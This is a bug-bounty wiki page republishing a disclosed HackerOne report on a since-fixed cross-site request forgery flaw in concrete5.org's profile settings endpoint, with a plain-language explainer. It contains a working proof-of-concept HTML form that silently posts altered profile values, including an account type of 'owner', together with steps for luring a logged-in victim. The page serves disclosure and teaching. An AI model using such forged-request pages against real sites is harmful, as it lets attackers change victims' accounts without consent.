Skip to content
CSRF Disclosed report Beginner

CSRF Full Account Takeover

The profile preferences save endpoint accepted a POST request without any anti-CSRF token or password confirmation, so a page hosted elsewhere could submit the form on a logged-in user's behalf. An attacker could change the victim's account settings, including the account type, by getting them to load a crafted page.

khalidamin Follow

Originally disclosed on HackerOne

  • Triaged in 33 hours
  • Fixed in 25 days
  • Disclosed after 25 days

Try this code in your browser:

<html> <body> <form action="https://www.concrete5.org/profile/preferences/-/save/" method="POST"> <input type="hidden" name="uName" value="██████" /> <input type="hidden" name="uEmail" value="████" /> <input type="hidden" name="uAccountType" value="owner" /> <input type="hidden" name="profile&#95;private&#95;messages&#95;notification&#95;enabled" value="1" /> <input type="hidden" name="uPasswordOld" value="" /> <input type="hidden" name="uPasswordNew" value="" /> <input type="hidden" name="uPasswordNewConfirm" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html>

You need to ask for confirming password for changing settings, or use a token everytime it is changed.

If any further information is needed, plase ask.

Thanks.

The original report as published on HackerOne, by khalidamin. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim is logged in; victim visits attacker page

How it was found

  1. Host an HTML page containing a form that posts to the profile preferences save endpoint.
  2. Fill the form fields with the desired new profile values.
  3. Get a logged-in victim to open the page and submit the form.
  4. The request is submitted without a token or password confirmation.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in to a site, your browser automatically sends your session cookie with every request to that site. If the site does not check for a secret value that only its own pages know, another website can quietly make your browser send a request that changes your settings. This is called cross-site request forgery, and here it let an attacker alter a victim's profile.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by khalidamin

View all

4 more disclosed reports, best first.

More from Concrete CMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.